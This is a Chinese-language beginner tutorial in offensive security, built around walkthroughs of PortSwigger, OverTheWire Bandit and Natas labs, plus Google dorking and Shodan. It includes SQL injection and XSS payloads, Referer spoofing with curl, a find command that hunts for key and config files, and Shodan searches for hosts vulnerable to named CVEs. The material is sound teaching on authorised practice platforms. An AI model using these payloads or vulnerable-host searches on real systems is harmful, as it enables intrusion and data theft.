01 — 面向世界实战:互联网旗标捕猎

哲学:上来就练。不听完课再动手——动手本身就是课。

环境:Arch Linux 物理机笔记本。已装 curl, ssh, nmap, python3。浏览器随便用哪个。

目标:在真实互联网靶场上找到 flag(旗标),每一个 flag 都是一把钥匙,带你进入更深一层。

实战 1-1:SQL 注入 — 让隐藏产品显露

场景:你面前是一个卖东西的在线商城,页面显示 “Welcome to our shop!”,下面列出了几件商品。但有些商品被标记为 “unreleased”(未发布),你作为普通用户看不到。你的任务是:让所有商品——包括未发布的——全部显示出来。

步骤

  1. 打开浏览器,访问 https://portswigger.net/web-security/all-labs
  2. 在搜索栏输入 SQL,找到标题为 “SQL injection vulnerability in WHERE clause allowing retrieval of hidden data” 的 lab
  3. 点击 “Access the lab”
  4. 等待 3-5 秒,你的专属靶场实例就启动了
  5. 你会看到一个假电商网站,顶部有导航栏:Home / All / Gifts / Accessories / Lifestyle 等等
  6. 点击任意一个分类链接(比如点击 Gifts),观察 URL 变化。地址栏会变成:
    https://<你的实例>.web-security-academy.net/filter?category=Gifts
    
  7. 这就是注入点。 category 参数被直接拼接到 SQL 查询的 WHERE 子句中
  8. 把 URL 里 category= 后面的内容,整个替换成:
    '+OR+1=1--
    
    完整 URL 示例:
    https://xxx.web-security-academy.net/filter?category='+OR+1=1--
    
  9. 按 Enter

预期结果:页面重新加载,原本只显示 Gifts 分类的商品,现在所有商品全部列出来了。包括本来不该给你看的 “unreleased” 商品。Lab 页面顶部会显示 “Congratulations, you solved the lab!”。

如果你不想手动改 URL,也可以直接在浏览器里操作:点击某个分类,然后在地址栏里修改 category=xxxcategory='+OR+1=1--,回车。

理论穿插

后端代码大概长这样:

SELECT * FROM products WHERE category = '用户输入' AND released = 1

你的输入 ' OR 1=1-- 被直接拼进去之后变成:

SELECT * FROM products WHERE category = '' OR 1=1--' AND released = 1

-- 把后面的 AND released = 1 注释掉了。1=1 永远为真,所以 WHERE 条件对所有行成立——所有商品全返回。这就是最经典的 SQL 注入:你把数据(输入值)变成了代码(SQL 片段),因为开发者用字符串拼接构造 SQL。

实战 1-3:反射型 XSS — 让浏览器执行你的 JavaScript

场景:网站有一个搜索功能。你在搜索框中输入一个词,页面会把这个词显示在结果里,比如 “0 search results for 你的词”。如果网站没有做任何处理就直接把你的输入嵌入到 HTML 中——你就可以注入 <script> 标签,让浏览器执行你的 JavaScript。

步骤

  1. 在 lab 列表中找到 “Reflected XSS into HTML context with nothing encoded”(最简单的反射型 XSS lab)
  2. 点击 “Access the lab”
  3. 靶场启动后,你面前是一个博客网站。页面中间有一个搜索框
  4. 在搜索框中粘贴以下内容:
    <script>alert(1)</script>
    
  5. 点击搜索按钮(放大镜图标或按 Enter)

预期结果:浏览器弹出一个对话框,显示 “1”。Lab 判定成功,顶部显示 “Congratulations, you solved the lab!”。

如果没弹窗,检查一下:

  • 是不是 1 被换成了别的字符?试试 <script>alert('xss')</script>
  • 浏览器有没有自带 XSS filter?Chrome 和 Firefox 一般没有,但某些企业浏览器可能有

理论穿插

反射型 XSS(Cross-Site Scripting)发生在服务端把用户的 HTTP 请求参数原样反射到响应页面中,未经过滤。攻击者构造一个恶意 URL(比如 https://victim.com/search?q=<script>恶意代码</script>),诱导受害者点击。受害者点击后,恶意脚本在其浏览器中执行,可以窃取 Cookie、劫持会话、篡改页面内容。名字里的 “反射” 指的是恶意代码需要从 URL 参数”反射”回来——不像存储型 XSS 那样被存在服务器上。

实战 1-5:DOM 型 XSS

场景:有一种 XSS,恶意代码从头到尾不经过服务器——纯粹是前端 JavaScript 的问题。URL 里的 # 后面那段(hash)不会发送到服务器,但如果前端的 JS 用 location.hash 取了这段并直接插入 DOM,问题就来了。

步骤

  1. 搜索 lab “DOM XSS in innerHTML sink using source location.search” 并打开
  2. 你再次看到一个搜索框
  3. 在搜索框中输入:
    <img src=x onerror=alert('dom')>
    
  4. 点击搜索

预期结果:弹窗。

为什么不是 <script> 在很多 DOM 型 XSS 场景中,内容是通过 innerHTML 插入的。HTML5 规范规定,通过 innerHTML 插入的 <script> 标签不会被执行。所以需要改用 <img src=x onerror=...> 或者其他事件驱动的标签。

理论穿插

DOM 型 XSS 的 payload 从未离开浏览器。漏洞出在前端 JS 代码中——比如把 location.search(URL 参数)或 location.hash(URL 片段)未经处理就写入了 document.write()innerHTML。服务端日志里没有任何异常,因为攻击流量根本没到服务端。

实战 2-1:Bandit Level 0 → Level 1(hello world 关)

打开你的终端,直接敲命令。不要多想。

ssh bandit0@bandit.labs.overthewire.org -p 2220

当它提示 Are you sure you want to continue connecting (yes/no/[fingerprint])? 时,输入 yes 然后回车。

当它提示 bandit0@bandit.labs.overthewire.org's password: 时,输入 bandit0(输入时屏幕不会显示任何字符,这很正常)。

看到什么:登录成功后,提示符变成类似这样:

bandit0@bandit:~$

你现在就在一台远程 Linux 服务器上,当前目录是 /home/bandit0

ls

看到什么:一个文件——readme

cat readme

看到什么:一串类似 NH2SXQwcBdpmTEzi3bvBHMM9H66vVXjL 的字符串。

这就是 Level 1 的密码。 记下来。现在退出:

exit

实战 2-3:Bandit Level 2 → Level 3(文件名含空格)

ssh bandit2@bandit.labs.overthewire.org -p 2220

输入上一关密码。

ls

看到什么:一个文件,名字是 spaces in this filename(中间有空格)。

如果你打 cat spaces in this filename,shell 会理解成你要对 4 个不同的文件(spaces, in, this, filename)执行 cat。每个都会报 “No such file or directory”。

正确读法(任选一种):

cat "spaces in this filename"
cat 'spaces in this filename'
cat spaces\ in\ this\ filename

拿到密码,记下来。

理论穿插

Shell 默认用空格分割参数。你在终端写 cat a b,shell 理解为 “对文件 a 和文件 b 运行 cat”,而不是 “对一个叫 a b 的文件运行 cat”。三种转义方法:双引号(允许变量展开)、单引号(原封不动)、反斜杠(逐个字符转义)。Tab 补全也会自动帮你加上反斜杠——多按 Tab。

实战 2-5:Bandit Level 4 → Level 5(找人类可读的文件)

ssh bandit4@bandit.labs.overthewire.org -p 2220
ls

看到什么inhere 目录。

cd inhere
ls

看到什么:10 个文件,名字是 -file00-file09

关卡提示说 “password is stored in the only human-readable file”。意思是有 9 个文件是二进制/数据乱码,只有 1 个包含可读文本。

file ./*

看到什么file 命令会告诉你每个文件的类型:

./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text
./-file08: data
./-file09: data

ASCII text 那个就是人类可读的。拿到密码:

cat ./-file07   # 换成实际的文件名

理论穿插

file 命令通过读取文件开头的 magic bytes(魔数)来判断文件类型。这是处理未知文件的第一个工具。很多 CTF 关卡会给你一堆精心构造的伪装文件——改后缀名的 JPG、改魔术数的 ZIP、藏在二进制尾部的文本。file 不看你后缀名,只看实际内容。

实战 2-7:Bandit Level 6 → Level 7(find 跨目录 + 用户/组/大小)

ssh bandit6@bandit.labs.overthewire.org -p 2220

这次密码文件不在 /home 下。关卡提示:

  • 文件属于用户 bandit7
  • 文件属于组 bandit6
  • 大小 33 bytes

从根目录搜。但根目录下很多目录你没权限读,会产生大量 “Permission denied” 错误。把错误重定向到 /dev/null(黑洞):

find / -type f -user bandit7 -group bandit6 -size 33c 2>/dev/null

参数解释

  • / —— 从根目录开始搜(范围最大)
  • -user bandit7 —— 文件所有者是 bandit7
  • -group bandit6 —— 文件所属组是 bandit6
  • -size 33c —— 精确 33 字节
  • 2>/dev/null —— 把标准错误输出(stderr)重定向到 /dev/null,屏蔽 “Permission denied”

看到什么:输出的唯一路径,比如 /var/lib/dpkg/info/bandit7.password

cat /var/lib/dpkg/info/bandit7.password

拿到密码。

理论穿插

Linux 文件描述符:0=stdin, 1=stdout, 2=stderr。2>/dev/null 意思是把错误信息丢进 null 设备(黑洞)。在渗透测试中,你需要经常在陌生系统上搜索敏感文件——find / -name "*.conf" -o -name "*.sql" -o -name "*.pem" 2>/dev/null 这种组合是红队基本操作。user/group 参数在权限提升时特别有用——找到属于 root 但你又能写的文件,就是提权入口。

实战 2-9:Bandit Level 8 → Level 9(sort + uniq 找唯一行)

ssh bandit8@bandit.labs.overthewire.org -p 2220
ls

看到什么data.txt。密码是文件中只出现一次的那一行。

文件里每行都出现多次,只有一行是唯一的。

sort data.txt | uniq -u

解释:

  • sort data.txt —— 给文件按行排序,把所有相同的行排在一起
  • | —— 管道,把前一个命令的输出传给后一个
  • uniq -u —— 只输出不重复的行(-u = unique)

看到什么:一行字符串,就是密码。

如果习惯另一种写法:

sort data.txt | uniq -c | sort -n | head -1

uniq -c 在每行前加上出现次数,然后按数字排序,出现次数最少的跑最前面)

理论穿插

管道(|)是 Unix 哲学的体现:每个工具只做一件事,但能通过管道串联成强大处理链。sort | uniq -c 是最常见的组合之一——统计各行出现频率。在日志分析中,你可以 cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -10 来找出访问量最高的 10 个 IP。红队分析数据时,这套组合拳每天都用。

实战 2-11:Bandit Level 10 → Level 11(base64 解码)

ssh bandit10@bandit.labs.overthewire.org -p 2220
ls

看到什么data.txt

cat data.txt

看到什么:一串看起来像乱码但又有规律的字符,比如:

VGhlIHBhc3N3b3JkIGlzIDZ6UGVCNG5TYTBFdXpOVjlZcEhrQ2pabXllSFFtUEdBcwo=

= 结尾——这是 base64 的典型特征。

cat data.txt | base64 -d

或者:

base64 -d data.txt

看到什么:解码后的明文文本,密码就在里面。

拿到密码。

理论穿插

Base64 是编码(encoding),不是加密(encryption)。编码不需要密钥,只是把二进制数据转换成可打印的 ASCII 字符,方便在网络传输(如 HTTP Basic Auth、JWT、邮件附件 MIME)。识别特征:只有 A-Za-z0-9+/= 这些字符,末尾常有 = 做填充。解码命令:base64 -d 或 Python 一行:python3 -c "import base64; print(base64.b64decode('字符串').decode())"

实战 3-1:Natas Level 0(查看页面源代码)

打开浏览器,访问:

http://natas0.natas.labs.overthewire.org

弹出 HTTP Basic Auth 对话框。输入:

  • 用户名:natas0
  • 密码:natas0

预期结果:进入后看到一个页面,中间写着 “You can find the password for the next level on this page.”

现在看源码。在页面上右键 → “View Page Source”(查看页面源代码),或者按 Ctrl+U

在源码中搜索 passwordnatas1

Ctrl+F → "password"

看到什么:源码里有一行注释:

<!--The password for natas1 is <一串字符> -->

这就是 natas1 的密码。记下来。

理论穿插

HTML 注释(<!-- 内容 -->)在浏览器渲染时不可见,但在源码中暴露无遗。开发者经常在注释里留下 TODO、测试账号、调试信息、数据库连接串。查看页面源代码是 Web 渗透的第一步——很多漏洞在渲染的页面中看不到,但在源码中就躺在那里等你。

实战 3-3:Natas Level 2(目录遍历)

访问:

http://natas2.natas.labs.overthewire.org

进入后,页面没什么特别的。看源码:

Ctrl+U

仔细找。源码里有一个 <img> 标签:

<img src="files/pixel.png">

图片是从 files 目录加载的。

在浏览器地址栏改成:

http://natas2.natas.labs.overthewire.org/files/

看到什么:目录列表!files/ 目录的索引页显示了所有文件,包括 pixel.png 和……一个 users.txt

点击 users.txt(或访问 http://natas2.natas.labs.overthewire.org/files/users.txt)。

看到什么:多个用户名和密码,其中就有 natas3 的密码。

理论穿插

目录列表(Directory Listing / Directory Indexing)是 Web 服务器(Apache、Nginx、IIS)的一项配置。当 URL 指向一个目录且该目录下没有 index 文件(如 index.html)时,服务器可能列出该目录下的所有文件。这就像把家里的分类账本摊开给路人看。生产环境中常见暴露:/uploads//backup//admin//.git/。用 gobuster/dirb 等工具可以自动探测。

实战 3-5:Natas Level 4(修改 Referer 头)

访问:

http://natas4.natas.labs.overthewire.org

进入后,提示:

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

意思是:你的 Referer 头不对。你必须假装是从 http://natas5.natas.labs.overthewire.org/ 跳转过来的。

用 curl

curl -u "natas4:<密码>" \
  --referer "http://natas5.natas.labs.overthewire.org/" \
  http://natas4.natas.labs.overthewire.org

或者用 -H 手动设:

curl -u "natas4:<密码>" \
  -H "Referer: http://natas5.natas.labs.overthewire.org/" \
  http://natas4.natas.labs.overthewire.org

看到什么:返回的页面中包含 natas5 的密码。

也用 Python 试一下(如果你更习惯 Python):

python3 -c "
import requests
r = requests.get(
    'http://natas4.natas.labs.overthewire.org',
    auth=('natas4', '<密码>'),
    headers={'Referer': 'http://natas5.natas.labs.overthewire.org/'}
)
print(r.text)
"

从输出中找到密码。

理论穿插

Referer 头告诉服务器 “用户是从哪个页面点过来的”。一些网站在后台管理入口用 Referer 做访问控制:“只有从 admin 主页点过来的才能进后台”。但 HTTP 头全部由客户端控制——攻击者想填什么就填什么。用 Referer 做安全控制等于在门上贴了一张 “请出示身份证” 的纸,下面没站保安。

Part 4: Google Dorking(用搜索引擎挖暴露信息)

Google Dorking(也称 Google Hacking)是指用 Google 的高级搜索操作符(search operators)来查找特定类型的信息——通常是那些不小心暴露在公网上的敏感内容。红队用它来做被动信息收集(OSINT),不需要接触目标系统就能发现漏洞。

注意:以下所有示例仅用于理解搜索语法和原理。不要实际访问或下载搜索结果中的敏感文件。未经授权访问他人系统是违法的。

Part 5: Shodan.io 实战(搜索联网设备的搜索引擎)

Shodan 被称作 “黑客的 Google”,但它搜的不是网页,而是联网设备。Shodan 的爬虫不断扫描整个 IPv4 地址空间,记录每个 IP 上开放了什么端口、运行了什么服务、服务 Banner 里写了什么信息。你在 Shodan 上搜到的结果是实打实的联网设备——路由器、摄像头、工控设备、数据库服务器。

实战 5-2:安装并使用 Shodan CLI

免费版也可以在终端使用。安装:

sudo pacman -S shodan
# 或者用 pip:
pip install shodan --break-system-packages

初始化(需要你注册时获得的 API Key——在 Shodan 网站的 Account 页面可以找到):

shodan init <你的API_Key>

API Key 是一串类似 ABCDEFGHIJKLMNOP 的随机字符。输入后,你的机器就与 Shodan 账户关联了。

然后你的能力扩展了——在终端搜索:

# 搜索开放 3389(RDP)端口且运行 Windows 的设备
shodan search "port:3389 os:windows"
 
# 查看某个 IP 的完整信息
shodan host 8.8.8.8
 
# 扫描你自己的公网 IP(看看你对互联网暴露了什么)
shodan myip
 
# 根据 CVE 编号搜索受影响的设备
shodan search vuln:CVE-2021-44228 --fields ip_str,port,org --limit 20
 
# 下载搜索结果到文件
shodan download results.json "product:nginx country:CN"
shodan parse results.json --fields ip_str,port,org

理论穿插

Shodan 不是主动攻击工具——它是一个被动搜索引擎,索引的是互联网上所有设备主动公开的信息(Banner、响应头、协议握手信息)。Shodan 自己没有利用任何漏洞,它只是忠实地记录了每台设备对标准协议请求的响应。但红队可以利用这些信息进行目标侦察:找到运行特定版本的软件、使用了哪个端口、组织信息、地理位置。结合漏洞数据库(如 CVE),红队可以快速锁定潜在的可利用目标。

Shodan 常用搜索过滤器

过滤器含义示例
port:端口号port:22
country:国家代码country:CN
city:城市city:"New York"
org:组织/ISPorg:"Google"
product:软件产品名product:nginx
os:操作系统os:"Windows 10"
hostname:主机名hostname:example.com
net:IP 网段net:192.168.1.0/24
version:版本号version:1.6.2
before: / after:时间范围before:2024-01-01
vuln:CVE 编号vuln:CVE-2019-0708
ssl:SSL/TLS 信息ssl:"Let's Encrypt"

总结:红队技能树 & 从浅入深的路线

你从这些实战中学到了什么

技能维度你掌握了什么在哪一关练的
Web 漏洞基础SQL 注入、XSS(反射/存储/DOM)Part 1
信息收集Burp Suite 请求拦截、用户名枚举、响应差异分析Part 1
Linux 基础SSH 远程登录、文件系统导航、cat/ls/find/grepPart 2
Linux 进阶管道组合、sort/uniq 统计、strings 二进制分析Part 2
Linux 高级find 跨目录搜索、stderr 重定向、base64 编码Part 2
Web 侦察页面源码分析、robots.txt 利用、目录遍历Part 3
HTTP 协议Referer 头、Cookie、HTTP Basic Auth、curl 控制头Part 3
OSINT 情报收集Google Dorking 搜索语法、被动信息收集Part 4
网络资产发现Shodan 搜索引擎、Banner 信息、联网设备测绘Part 5
命令行能力curl 构造请求、ssh 客户端、find 搜索、管道过滤All

推荐继续进阶路线(从浅到深)

第一阶段:巩固基础(1-2 个月)

  • 继续打完 OverTheWire Bandit 的所有 34 关(我们只做了前 10 关)
  • 打完 Natas 的全部 34 关
  • 完成 PortSwigger Academy 的 Apprentice 级别全部 lab(约 50 个)

第二阶段:Web 专项深入(2-3 个月)

  • 在 TryHackMe 上完成 “Web Fundamentals” 学习路径
  • 使用 OWASP Juice Shop 线上版实战体验现代 Web 栈漏洞
  • 完成 PortSwigger Academy Practitioner 级别 lab
  • 学习 Burp Suite 高级功能:Repeater、Scanner、Collaborator

第三阶段:系统渗透入门(2-3 个月)

  • 注册 HackTheBox 或 TryHackMe,开始打 Easy 难度的在线靶机
  • 学习基本的提权技术(Linux sudo 误配置、SUID 利用、计划任务)
  • OverTheWire 还有 Leviathan 系列(也是系统渗透方向)
  • 学习 nmap 深入用法:服务探测、脚本扫描(-sC -sV

第四阶段:横向移动与域渗透(3-6 个月)

  • HackTheBox 上打 Active Directory(AD)方向的靶机
  • 学习 Kerberos 攻击、Pass-the-Hash、BloodHound 血路分析
  • 了解 C2(Command & Control)框架概念

第五阶段:综合实战

  • 参加实时 CTF 比赛(CTFtime.org 看赛程)
  • 打 OSCP 认证方向的内容(Proving Grounds Play/Practice)
  • 持续在 HackTheBox 上打 Hard/Insane 机器

本教程编辑日期:2026-06-17
所有外部靶场均为合法注册并授权的教育平台。在未授权系统上使用以上技术属于违法行为。